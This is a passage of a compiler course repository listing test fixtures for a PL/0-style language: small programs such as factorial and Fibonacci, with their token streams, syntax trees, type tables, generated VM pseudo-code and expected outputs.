| NUMBER 10 43 | WRITE 44 | NUMBER 3 45 | LT 46 | TRUE 47 | END 48 | EOT 49 | -------------------------------------------------------------------------------- /project/tests/bad_type.types: -------------------------------------------------------------------------------- 1 | type error: type of return value does not match function 2 | -------------------------------------------------------------------------------- /project/tests/bad_type.vmout: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/project/tests/bad_type.vmout -------------------------------------------------------------------------------- /project/tests/bad_type.vmtrace: -------------------------------------------------------------------------------- 1 | ./../src/vm: invalid op name 2 | -------------------------------------------------------------------------------- /project/tests/call.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | | FuncDecl 6 | | | | | identifier = bob 7 | | | | | formals = TypedIdentList 8 | | | | | | TypedIdent 9 | | | | | | | identifier = x 10 | | | | | | | type = INT 11 | | | | | has_return = true 12 | | | | | return_type = INT 13 | | | | | block = Block 14 | | | | | | vardecls = TypedIdentList 15 | | | | | | funcdecls = FuncDeclList 16 | | | | | | statement = CompoundStatement 17 | | | | | | | compound_statement = StatementList 18 | | | | | | | | WriteStatement 19 | | | | | | | | | write_expression = VariableFactor 20 | | | | | | | | | | variable = x 21 | | | statement = CallStatement 22 | | | | call_function = bob 23 | | | | call_parameters = ExpressionList 24 | | | | | NumberFactor 25 | | | | | | number_value = 2 26 | -------------------------------------------------------------------------------- /project/tests/call.pcode: -------------------------------------------------------------------------------- 1 | br 11 2 | psh ln sp 3 | psh fp sp 4 | mov fp sp 5 | br 1 6 | ld r0 fp -4 7 | wr r0 8 | mov sp fp 9 | pop fp sp 10 | pop ln sp 11 | ret ln 12 | addi sp sp 1 13 | movi r0 2 14 | st r0 sp 0 15 | addi sp sp 1 16 | psh fp sp 17 | bl -15 18 | subi sp sp 1 19 | pop r0 sp 20 | subi sp sp 1 21 | hlt 22 | -------------------------------------------------------------------------------- /project/tests/call.pl0: -------------------------------------------------------------------------------- 1 | function bob(x : int) : int 2 | begin 3 | write x 4 | end 5 | bob(2) 6 | -------------------------------------------------------------------------------- /project/tests/call.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT bob 3 | LPAREN 4 | IDENT x 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | INT 10 | BEGIN 11 | WRITE 12 | IDENT x 13 | END 14 | IDENT bob 15 | LPAREN 16 | NUMBER 2 17 | RPAREN 18 | EOT 19 | -------------------------------------------------------------------------------- /project/tests/call.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | bob : (int) -> int @0 3 | scope: bob, level: 1 4 | x : int @0 5 | TranslationUnit 6 | | scope = 7 | | block = Block 8 | | | vardecls = TypedIdentList 9 | | | funcdecls = FuncDeclList 10 | | | | FuncDecl 11 | | | | | scope = bob 12 | | | | | symbol = .bob 13 | | | | | identifier = bob 14 | | | | | formals = TypedIdentList 15 | | | | | | TypedIdent 16 | | | | | | | symbol = bob.x 17 | | | | | | | identifier = x 18 | | | | | | | type = INT 19 | | | | | has_return = true 20 | | | | | return_type = INT 21 | | | | | block = Block 22 | | | | | | vardecls = TypedIdentList 23 | | | | | | funcdecls = FuncDeclList 24 | | | | | | statement = CompoundStatement 25 | | | | | | | compound_statement = StatementList 26 | | | | | | | | WriteStatement 27 | | | | | | | | | write_expression = VariableFactor 28 | | | | | | | | | | ershov = 1 29 | | | | | | | | | | datatype = int 30 | | | | | | | | | | variable_symbol = bob.x 31 | | | | | | | | | | variable = x 32 | | | statement = CallStatement 33 | | | | call_symbol = .bob 34 | | | | call_function = bob 35 | | | | call_parameters = ExpressionList 36 | | | | | NumberFactor 37 | | | | | | ershov = 1 38 | | | | | | datatype = int 39 | | | | | | number_value = 2 40 | -------------------------------------------------------------------------------- /project/tests/call.vmout: -------------------------------------------------------------------------------- 1 | 2 2 | -------------------------------------------------------------------------------- /project/tests/complete/factorial.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | result : int @2 4 | factorial : (int) -> int @3 5 | scope: factorial, level: 1 6 | x : int @-4 7 | addi sp sp 1 8 | addi sp sp 1 9 | br 44 10 | psh ln sp 11 | psh fp sp 12 | mov fp sp 13 | br 1 14 | movi r0 0 15 | ld r1 fp -4 16 | cmp r1 r0 17 | beq 3 18 | movi r0 0 19 | br 2 20 | movi r0 1 21 | cmpi r0 1 22 | bne 8 23 | movi r0 1 24 | st r0 fp -3 25 | mov sp fp 26 | pop fp sp 27 | pop ln sp 28 | ret ln 29 | br 20 30 | addi sp sp 1 31 | movi r0 1 32 | ld r1 fp -4 33 | sub r0 r1 r0 34 | st r0 sp 0 35 | addi sp sp 1 36 | ld r0 fp -2 37 | psh r0 sp 38 | bl -28 39 | subi sp sp 1 40 | pop r0 sp 41 | subi sp sp 1 42 | ld r1 fp -4 43 | mul r0 r1 r0 44 | st r0 fp -3 45 | mov sp fp 46 | pop fp sp 47 | pop ln sp 48 | ret ln 49 | mov sp fp 50 | pop fp sp 51 | pop ln sp 52 | ret ln 53 | movi r0 4 54 | st r0 fp 1 55 | movi r0 0 56 | ld r1 fp 1 57 | cmp r1 r0 58 | bge 3 59 | movi r0 0 60 | br 2 61 | movi r0 1 62 | cmpi r0 1 63 | bne 14 64 | addi sp sp 1 65 | ld r0 fp 1 66 | st r0 sp 0 67 | addi sp sp 1 68 | psh fp sp 69 | bl -59 70 | subi sp sp 1 71 | pop r0 sp 72 | subi sp sp 1 73 | st r0 fp 2 74 | ld r0 fp 2 75 | wr r0 76 | br 3 77 | movi r0 1 78 | wr r0 79 | hlt 80 | -------------------------------------------------------------------------------- /project/tests/complete/factorial.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function factorial(x : int) : int 4 | begin 5 | if x = 0 then 6 | return 1 7 | else 8 | return x * factorial(x - 1) 9 | end 10 | begin 11 | x := 4 12 | if x >= 0 then 13 | begin 14 | result := factorial(x) 15 | write result 16 | end 17 | else 18 | write 1 19 | end 20 | -------------------------------------------------------------------------------- /project/tests/complete/fib.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function fib(x : int) : int 4 | var f0 : int 5 | var f1 : int 6 | begin 7 | if x = 0 then 8 | return 0 9 | else if (x = 1) or (x = 2) then 10 | return 1 11 | else 12 | begin 13 | f1 := fib(x - 1) 14 | f0 := fib(x - 2) 15 | return f1 + f0 16 | end 17 | end 18 | begin 19 | x := 10 20 | if x >= 0 then 21 | begin 22 | result := fib(x) 23 | write result 24 | end 25 | else 26 | write 1 27 | end 28 | -------------------------------------------------------------------------------- /project/tests/complete/is_prime.pl0: -------------------------------------------------------------------------------- 1 | function isprime(param : int) : bool 2 | var x : int 3 | begin 4 | if param < 1 then 5 | return false 6 | else if (param = 1) or (param = 2) then 7 | return true 8 | 9 | x := 2 10 | while x < param do 11 | begin 12 | if param % x = 0 then 13 | begin 14 | return false 15 | end 16 | 17 | x := x + 1 18 | end 19 | 20 | return true 21 | end 22 | 23 | begin 24 | write isprime(1) 25 | write isprime(2) 26 | write isprime(3) 27 | write isprime(4) 28 | write isprime(5) 29 | end 30 | -------------------------------------------------------------------------------- /project/tests/decls.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 35 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | addi sp sp 1 8 | addi sp sp 1 9 | br 23 10 | psh ln sp 11 | psh fp sp 12 | mov fp sp 13 | addi sp sp 1 14 | addi sp sp 1 15 | br 1 16 | movi r0 3 17 | wr r0 18 | mov sp fp 19 | pop fp sp 20 | pop ln sp 21 | ret ln 22 | psh ln sp 23 | psh fp sp 24 | mov fp sp 25 | br 1 26 | movi r0 4 27 | wr r0 28 | mov sp fp 29 | pop fp sp 30 | pop ln sp 31 | ret ln 32 | movi r0 2 33 | wr r0 34 | mov sp fp 35 | pop fp sp 36 | pop ln sp 37 | ret ln 38 | movi r0 1 39 | wr r0 40 | hlt 41 | -------------------------------------------------------------------------------- /project/tests/decls.pl0: -------------------------------------------------------------------------------- 1 | var i : int 2 | var b : bool 3 | function fi(x : int) : int 4 | var i : int 5 | var b : bool 6 | function fb(b : bool, i : int, y : int) : bool 7 | var fb_local_1 : int 8 | var fb_local_2 : bool 9 | begin 10 | write 3 11 | end 12 | function fv(b : bool) 13 | begin 14 | write 4 15 | end 16 | begin 17 | write 2 18 | end 19 | begin 20 | write 1 21 | end 22 | -------------------------------------------------------------------------------- /project/tests/decls.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT i 3 | COLON 4 | INT 5 | VAR 6 | IDENT b 7 | COLON 8 | BOOL 9 | FUNC 10 | IDENT fi 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT i 20 | COLON 21 | INT 22 | VAR 23 | IDENT b 24 | COLON 25 | BOOL 26 | FUNC 27 | IDENT fb 28 | LPAREN 29 | IDENT b 30 | COLON 31 | BOOL 32 | COMMA 33 | IDENT i 34 | COLON 35 | INT 36 | COMMA 37 | IDENT y 38 | COLON 39 | INT 40 | RPAREN 41 | COLON 42 | BOOL 43 | VAR 44 | IDENT fb_local_1 45 | COLON 46 | INT 47 | VAR 48 | IDENT fb_local_2 49 | COLON 50 | BOOL 51 | BEGIN 52 | WRITE 53 | NUMBER 3 54 | END 55 | FUNC 56 | IDENT fv 57 | LPAREN 58 | IDENT b 59 | COLON 60 | BOOL 61 | RPAREN 62 | BEGIN 63 | WRITE 64 | NUMBER 4 65 | END 66 | BEGIN 67 | WRITE 68 | NUMBER 2 69 | END 70 | BEGIN 71 | WRITE 72 | NUMBER 1 73 | END 74 | EOT 75 | -------------------------------------------------------------------------------- /project/tests/decls.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /project/tests/digitcount_recursive.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 86 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | br 1 7 | movi r0 0 8 | ld r1 fp -4 9 | cmp r1 r0 10 | blt 3 11 | movi r0 0 12 | br 2 13 | movi r0 1 14 | cmpi r0 1 15 | bne 18 16 | addi sp sp 1 17 | ld r0 fp -4 18 | muli r0 r0 -1 19 | st r0 sp 0 20 | addi sp sp 1 21 | ld r0 fp -2 22 | psh r0 sp 23 | bl -20 24 | subi sp sp 1 25 | pop r0 sp 26 | subi sp sp 1 27 | st r0 fp -3 28 | mov sp fp 29 | pop fp sp 30 | pop ln sp 31 | ret ln 32 | br 52 33 | movi r0 10 34 | ld r1 fp -4 35 | cmp r1 r0 36 | blt 3 37 | movi r0 0 38 | br 2 39 | movi r0 1 40 | movi r1 0 41 | ld r2 fp -4 42 | cmp r2 r1 43 | bge 3 44 | movi r1 0 45 | br 2 46 | movi r1 1 47 | cmpi r1 0 48 | beq 5 49 | cmpi r0 0 50 | beq 3 51 | movi r0 1 52 | br 2 53 | movi r0 0 54 | cmpi r0 1 55 | bne 8 56 | movi r0 1 57 | st r0 fp -3 58 | mov sp fp 59 | pop fp sp 60 | pop ln sp 61 | ret ln 62 | br 22 63 | movi r0 1 64 | psh r0 sp 65 | addi sp sp 1 66 | movi r0 10 67 | ld r1 fp -4 68 | div r0 r1 r0 69 | st r0 sp 0 70 | addi sp sp 1 71 | ld r0 fp -2 72 | psh r0 sp 73 | bl -70 74 | subi sp sp 1 75 | pop r1 sp 76 | subi sp sp 1 77 | pop r0 sp 78 | add r0 r1 r0 79 | st r0 fp -3 80 | mov sp fp 81 | pop fp sp 82 | pop ln sp 83 | ret ln 84 | mov sp fp 85 | pop fp sp 86 | pop ln sp 87 | ret ln 88 | addi sp sp 1 89 | movi r0 123456789 90 | st r0 sp 0 91 | addi sp sp 1 92 | psh fp sp 93 | bl -90 94 | subi sp sp 1 95 | pop r0 sp 96 | subi sp sp 1 97 | wr r0 98 | hlt 99 | -------------------------------------------------------------------------------- /project/tests/digitcount_recursive.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function digitcount(param : int) : int 4 | begin 5 | if param < 0 then 6 | return digitcount(-param) 7 | else if (param >= 0) and (param < 10) then 8 | return 1 9 | else 10 | return digitcount(param / 10) + 1 11 | end 12 | 13 | begin 14 | write digitcount(123456789) 15 | end -------------------------------------------------------------------------------- /project/tests/digitcount_recursive.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | FUNC 6 | IDENT digitcount 7 | LPAREN 8 | IDENT param 9 | COLON 10 | INT 11 | RPAREN 12 | COLON 13 | INT 14 | BEGIN 15 | IF 16 | IDENT param 17 | LT 18 | NUMBER 0 19 | THEN 20 | RETURN 21 | IDENT digitcount 22 | LPAREN 23 | MINUS 24 | IDENT param 25 | RPAREN 26 | ELSE 27 | IF 28 | LPAREN 29 | IDENT param 30 | GTE 31 | NUMBER 0 32 | RPAREN 33 | AND 34 | LPAREN 35 | IDENT param 36 | LT 37 | NUMBER 10 38 | RPAREN 39 | THEN 40 | RETURN 41 | NUMBER 1 42 | ELSE 43 | RETURN 44 | IDENT digitcount 45 | LPAREN 46 | IDENT param 47 | DIV 48 | NUMBER 10 49 | RPAREN 50 | PLUS 51 | NUMBER 1 52 | END 53 | BEGIN 54 | WRITE 55 | IDENT digitcount 56 | LPAREN 57 | NUMBER 123456789 58 | RPAREN 59 | END 60 | EOT 61 | -------------------------------------------------------------------------------- /project/tests/digitcount_recursive.vmout: -------------------------------------------------------------------------------- 1 | 9 2 | -------------------------------------------------------------------------------- /project/tests/ershov.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | funcdecls = FuncDeclList 5 | | | statement = CompoundStatement 6 | | | | compound_statement = StatementList 7 | | | | | WriteStatement 8 | | | | | | write_expression = BinaryExpression 9 | | | | | | | binary_op = DIV 10 | | | | | | | binary_left = BinaryExpression 11 | | | | | | | | binary_op = PLUS 12 | | | | | | | | binary_left = NumberFactor 13 | | | | | | | | | number_value = 3 14 | | | | | | | | binary_right = NumberFactor 15 | | | | | | | | | number_value = 1 16 | | | | | | | binary_right = BinaryExpression 17 | | | | | | | | binary_op = MULT 18 | | | | | | | | binary_left = NumberFactor 19 | | | | | | | | | number_value = 2 20 | | | | | | | | binary_right = BinaryExpression 21 | | | | | | | | | binary_op = MINUS 22 | | | | | | | | | binary_left = NumberFactor 23 | | | | | | | | | | number_value = 5 24 | | | | | | | | | binary_right = NumberFactor 25 | | | | | | | | | | number_value = 4 26 | -------------------------------------------------------------------------------- /project/tests/ershov.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 4 3 | movi r1 5 4 | sub r0 r1 r0 5 | movi r1 2 6 | mul r0 r1 r0 7 | movi r1 1 8 | movi r2 3 9 | add r1 r2 r1 10 | div r0 r1 r0 11 | wr r0 12 | hlt 13 | -------------------------------------------------------------------------------- /project/tests/ershov.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | # example of register allocation via Ershov numbering 3 | # each number is a leaf with label 1 4 | # each operation is an inner node with a label according to the Ershov numbering rules 5 | write 6 | ( 3 # 1 7 | + # left == right, left + 1 = 2 8 | 1 # 1 9 | ) 10 | / # left == right, left + 1 = 3 11 | ( 2 # 1 12 | * # left != right max(left, right) = 2 13 | ( 5 # 1 14 | - # left == right, left + 1 = 2 15 | 4 # 1 16 | ) 17 | ) 18 | end 19 | # (3 + 1) / (2 * (5 - 4)) 20 | # (3 + 1) / (2 * 1 ) 21 | # 4 / 2 22 | # 2 23 | -------------------------------------------------------------------------------- /project/tests/ershov.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | WRITE 3 | LPAREN 4 | NUMBER 3 5 | PLUS 6 | NUMBER 1 7 | RPAREN 8 | DIV 9 | LPAREN 10 | NUMBER 2 11 | MULT 12 | LPAREN 13 | NUMBER 5 14 | MINUS 15 | NUMBER 4 16 | RPAREN 17 | RPAREN 18 | END 19 | EOT 20 | -------------------------------------------------------------------------------- /project/tests/ershov.vmout: -------------------------------------------------------------------------------- 1 | 2 2 | -------------------------------------------------------------------------------- /project/tests/expressionsbool.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write true 3 | write false 4 | write not true 5 | write not false 6 | write 1 < 0 7 | write true and true 8 | write true and false 9 | write false and true 10 | write false and false 11 | write true or true 12 | write true or false 13 | write false or true 14 | write false or false 15 | write 1 < 2 16 | write 1 > 2 17 | end 18 | -------------------------------------------------------------------------------- /project/tests/expressionsbool.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | WRITE 3 | TRUE 4 | WRITE 5 | FALSE 6 | WRITE 7 | NOT 8 | TRUE 9 | WRITE 10 | NOT 11 | FALSE 12 | WRITE 13 | NUMBER 1 14 | LT 15 | NUMBER 0 16 | WRITE 17 | TRUE 18 | AND 19 | TRUE 20 | WRITE 21 | TRUE 22 | AND 23 | FALSE 24 | WRITE 25 | FALSE 26 | AND 27 | TRUE 28 | WRITE 29 | FALSE 30 | AND 31 | FALSE 32 | WRITE 33 | TRUE 34 | OR 35 | TRUE 36 | WRITE 37 | TRUE 38 | OR 39 | FALSE 40 | WRITE 41 | FALSE 42 | OR 43 | TRUE 44 | WRITE 45 | FALSE 46 | OR 47 | FALSE 48 | WRITE 49 | NUMBER 1 50 | LT 51 | NUMBER 2 52 | WRITE 53 | NUMBER 1 54 | GT 55 | NUMBER 2 56 | END 57 | EOT 58 | -------------------------------------------------------------------------------- /project/tests/expressionsbool.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 0 3 | 0 4 | 1 5 | 0 6 | 1 7 | 0 8 | 0 9 | 0 10 | 1 11 | 1 12 | 1 13 | 0 14 | 1 15 | 0 16 | -------------------------------------------------------------------------------- /project/tests/expressionsint.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 2 3 | movi r1 5 4 | mul r0 r1 r0 5 | movi r1 7 6 | div r0 r0 r1 7 | wr r0 8 | movi r0 2 9 | movi r1 5 10 | div r0 r1 r0 11 | wr r0 12 | movi r0 2 13 | movi r1 5 14 | mod r0 r1 r0 15 | wr r0 16 | movi r0 3 17 | movi r1 2 18 | mul r0 r1 r0 19 | movi r1 1 20 | add r0 r1 r0 21 | wr r0 22 | movi r0 3 23 | movi r1 2 24 | mul r0 r1 r0 25 | movi r1 1 26 | add r0 r1 r0 27 | movi r1 2 28 | mul r0 r1 r0 29 | movi r1 5 30 | mul r0 r1 r0 31 | movi r1 2 32 | movi r2 5 33 | div r1 r2 r1 34 | add r0 r1 r0 35 | wr r0 36 | movi r0 1 37 | muli r0 r0 -1 38 | wr r0 39 | movi r0 2 40 | movi r1 5 41 | div r0 r1 r0 42 | muli r0 r0 -1 43 | wr r0 44 | hlt 45 | -------------------------------------------------------------------------------- /project/tests/expressionsint.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write (5 * 2) / 7 3 | write 5 / 2 4 | write 5 % 2 5 | write 1 + 2 * 3 6 | write 5 / 2 + 5 * (2 * (1 + 2 * 3)) 7 | write -1 8 | write -(5 / 2) 9 | end 10 | -------------------------------------------------------------------------------- /project/tests/expressionsint.tokens: -------------------------------------------------------------------------------- 1 | BEGIN 2 | WRITE 3 | LPAREN 4 | NUMBER 5 5 | MULT 6 | NUMBER 2 7 | RPAREN 8 | DIV 9 | NUMBER 7 10 | WRITE 11 | NUMBER 5 12 | DIV 13 | NUMBER 2 14 | WRITE 15 | NUMBER 5 16 | MOD 17 | NUMBER 2 18 | WRITE 19 | NUMBER 1 20 | PLUS 21 | NUMBER 2 22 | MULT 23 | NUMBER 3 24 | WRITE 25 | NUMBER 5 26 | DIV 27 | NUMBER 2 28 | PLUS 29 | NUMBER 5 30 | MULT 31 | LPAREN 32 | NUMBER 2 33 | MULT 34 | LPAREN 35 | NUMBER 1 36 | PLUS 37 | NUMBER 2 38 | MULT 39 | NUMBER 3 40 | RPAREN 41 | RPAREN 42 | WRITE 43 | MINUS 44 | NUMBER 1 45 | WRITE 46 | MINUS 47 | LPAREN 48 | NUMBER 5 49 | DIV 50 | NUMBER 2 51 | RPAREN 52 | END 53 | EOT 54 | -------------------------------------------------------------------------------- /project/tests/expressionsint.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | 2 3 | 1 4 | 7 5 | 72 6 | -1 7 | -2 8 | -------------------------------------------------------------------------------- /project/tests/factorial.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 44 4 | psh ln sp 5 | psh fp sp 6 | mov fp sp 7 | br 1 8 | movi r0 0 9 | ld r1 fp -4 10 | cmp r1 r0 11 | beq 3 12 | movi r0 0 13 | br 2 14 | movi r0 1 15 | cmpi r0 1 16 | bne 8 17 | movi r0 1 18 | st r0 fp -3 19 | mov sp fp 20 | pop fp sp 21 | pop ln sp 22 | ret ln 23 | br 20 24 | addi sp sp 1 25 | movi r0 1 26 | ld r1 fp -4 27 | sub r0 r1 r0 28 | st r0 sp 0 29 | addi sp sp 1 30 | ld r0 fp -2 31 | psh r0 sp 32 | bl -28 33 | subi sp sp 1 34 | pop r0 sp 35 | subi sp sp 1 36 | ld r1 fp -4 37 | mul r0 r1 r0 38 | st r0 fp -3 39 | mov sp fp 40 | pop fp sp 41 | pop ln sp 42 | ret ln 43 | mov sp fp 44 | pop fp sp 45 | pop ln sp 46 | ret ln 47 | movi r0 4 48 | st r0 fp 1 49 | movi r0 0 50 | ld r1 fp 1 51 | cmp r1 r0 52 | bge 3 53 | movi r0 0 54 | br 2 55 | movi r0 1 56 | cmpi r0 1 57 | bne 14 58 | addi sp sp 1 59 | ld r0 fp 1 60 | st r0 sp 0 61 | addi sp sp 1 62 | psh fp sp 63 | bl -59 64 | subi sp sp 1 65 | pop r0 sp 66 | subi sp sp 1 67 | st r0 fp 2 68 | ld r0 fp 2 69 | wr r0 70 | br 3 71 | movi r0 1 72 | wr r0 73 | hlt 74 | -------------------------------------------------------------------------------- /project/tests/factorial.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function factorial(x : int) : int 4 | begin 5 | if x = 0 then 6 | return 1 7 | else 8 | return x * factorial(x - 1) 9 | end 10 | begin 11 | x := 4 12 | if x >= 0 then 13 | begin 14 | result := factorial(x) 15 | write result 16 | end 17 | else 18 | write 1 19 | end 20 | -------------------------------------------------------------------------------- /project/tests/factorial.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT factorial 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | BEGIN 19 | IF 20 | IDENT x 21 | EQ 22 | NUMBER 0 23 | THEN 24 | RETURN 25 | NUMBER 1 26 | ELSE 27 | RETURN 28 | IDENT x 29 | MULT 30 | IDENT factorial 31 | LPAREN 32 | IDENT x 33 | MINUS 34 | NUMBER 1 35 | RPAREN 36 | END 37 | BEGIN 38 | IDENT x 39 | ASSIGN 40 | NUMBER 4 41 | IF 42 | IDENT x 43 | GTE 44 | NUMBER 0 45 | THEN 46 | BEGIN 47 | IDENT result 48 | ASSIGN 49 | IDENT factorial 50 | LPAREN 51 | IDENT x 52 | RPAREN 53 | WRITE 54 | IDENT result 55 | END 56 | ELSE 57 | WRITE 58 | NUMBER 1 59 | END 60 | EOT 61 | -------------------------------------------------------------------------------- /project/tests/factorial.vmout: -------------------------------------------------------------------------------- 1 | 24 2 | -------------------------------------------------------------------------------- /project/tests/fib.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function fib(x : int) : int 4 | var f0 : int 5 | var f1 : int 6 | begin 7 | if x = 0 then 8 | return 0 9 | else if (x = 1) or (x = 2) then 10 | return 1 11 | else 12 | begin 13 | f1 := fib(x - 1) 14 | f0 := fib(x - 2) 15 | return f1 + f0 16 | end 17 | end 18 | begin 19 | read x 20 | if x >= 0 then 21 | begin 22 | result := fib(x) 23 | write result 24 | end 25 | else 26 | write 1 27 | end 28 | -------------------------------------------------------------------------------- /project/tests/fib.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT fib 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT f0 20 | COLON 21 | INT 22 | VAR 23 | IDENT f1 24 | COLON 25 | INT 26 | BEGIN 27 | IF 28 | IDENT x 29 | EQ 30 | NUMBER 0 31 | THEN 32 | RETURN 33 | NUMBER 0 34 | ELSE 35 | IF 36 | LPAREN 37 | IDENT x 38 | EQ 39 | NUMBER 1 40 | RPAREN 41 | OR 42 | LPAREN 43 | IDENT x 44 | EQ 45 | NUMBER 2 46 | RPAREN 47 | THEN 48 | RETURN 49 | NUMBER 1 50 | ELSE 51 | BEGIN 52 | IDENT f1 53 | ASSIGN 54 | IDENT fib 55 | LPAREN 56 | IDENT x 57 | MINUS 58 | NUMBER 1 59 | RPAREN 60 | IDENT f0 61 | ASSIGN 62 | IDENT fib 63 | LPAREN 64 | IDENT x 65 | MINUS 66 | NUMBER 2 67 | RPAREN 68 | RETURN 69 | IDENT f1 70 | PLUS 71 | IDENT f0 72 | END 73 | END 74 | BEGIN 75 | READ 76 | IDENT x 77 | IF 78 | IDENT x 79 | GTE 80 | NUMBER 0 81 | THEN 82 | BEGIN 83 | IDENT result 84 | ASSIGN 85 | IDENT fib 86 | LPAREN 87 | IDENT x 88 | RPAREN 89 | WRITE 90 | IDENT result 91 | END 92 | ELSE 93 | WRITE 94 | NUMBER 1 95 | END 96 | EOT 97 | -------------------------------------------------------------------------------- /project/tests/fib.vmin: -------------------------------------------------------------------------------- 1 | 5 2 | -------------------------------------------------------------------------------- /project/tests/fib.vmout: -------------------------------------------------------------------------------- 1 | 5 2 | -------------------------------------------------------------------------------- /project/tests/fib_frames.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function fib(x : int) : int 4 | var f0 : int 5 | var f1 : int 6 | begin 7 | if x = 0 then 8 | return 0 9 | else if (x = 1) or (x = 2) then 10 | return 1 11 | else 12 | begin 13 | f1 := fib(x - 1) 14 | f0 := fib(x - 2) 15 | return f0 + f1 16 | end 17 | end 18 | begin 19 | read x 20 | if x >= 0 then 21 | begin 22 | result := fib(x) 23 | write result 24 | end 25 | else 26 | write 1 27 | end 28 | -------------------------------------------------------------------------------- /project/tests/fib_frames.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT fib 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT f0 20 | COLON 21 | INT 22 | VAR 23 | IDENT f1 24 | COLON 25 | INT 26 | BEGIN 27 | IF 28 | IDENT x 29 | EQ 30 | NUMBER 0 31 | THEN 32 | RETURN 33 | NUMBER 0 34 | ELSE 35 | IF 36 | LPAREN 37 | IDENT x 38 | EQ 39 | NUMBER 1 40 | RPAREN 41 | OR 42 | LPAREN 43 | IDENT x 44 | EQ 45 | NUMBER 2 46 | RPAREN 47 | THEN 48 | RETURN 49 | NUMBER 1 50 | ELSE 51 | BEGIN 52 | IDENT f1 53 | ASSIGN 54 | IDENT fib 55 | LPAREN 56 | IDENT x 57 | MINUS 58 | NUMBER 1 59 | RPAREN 60 | IDENT f0 61 | ASSIGN 62 | IDENT fib 63 | LPAREN 64 | IDENT x 65 | MINUS 66 | NUMBER 2 67 | RPAREN 68 | RETURN 69 | IDENT f0 70 | PLUS 71 | IDENT f1 72 | END 73 | END 74 | BEGIN 75 | READ 76 | IDENT x 77 | IF 78 | IDENT x 79 | GTE 80 | NUMBER 0 81 | THEN 82 | BEGIN 83 | IDENT result 84 | ASSIGN 85 | IDENT fib 86 | LPAREN 87 | IDENT x 88 | RPAREN 89 | WRITE 90 | IDENT result 91 | END 92 | ELSE 93 | WRITE 94 | NUMBER 1 95 | END 96 | EOT 97 | -------------------------------------------------------------------------------- /project/tests/fib_frames.vmin: -------------------------------------------------------------------------------- 1 | 6 2 | -------------------------------------------------------------------------------- /project/tests/fib_frames.vmout: -------------------------------------------------------------------------------- 1 | 8 2 | -------------------------------------------------------------------------------- /project/tests/fib_series.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var result : int 3 | function fib(x : int) : int 4 | var f0 : int 5 | var f1 : int 6 | begin 7 | if x = 0 then 8 | return 0 9 | else if (x = 1) or (x = 2) then 10 | return 1 11 | else 12 | begin 13 | f1 := fib(x - 1) 14 | f0 := fib(x - 2) 15 | return f1 + f0 16 | end 17 | end 18 | begin 19 | x := 1 20 | while x < 8 do 21 | begin 22 | # write x 23 | result := fib(x) 24 | write result 25 | x := x + 1 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /project/tests/fib_series.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | VAR 6 | IDENT result 7 | COLON 8 | INT 9 | FUNC 10 | IDENT fib 11 | LPAREN 12 | IDENT x 13 | COLON 14 | INT 15 | RPAREN 16 | COLON 17 | INT 18 | VAR 19 | IDENT f0 20 | COLON 21 | INT 22 | VAR 23 | IDENT f1 24 | COLON 25 | INT 26 | BEGIN 27 | IF 28 | IDENT x 29 | EQ 30 | NUMBER 0 31 | THEN 32 | RETURN 33 | NUMBER 0 34 | 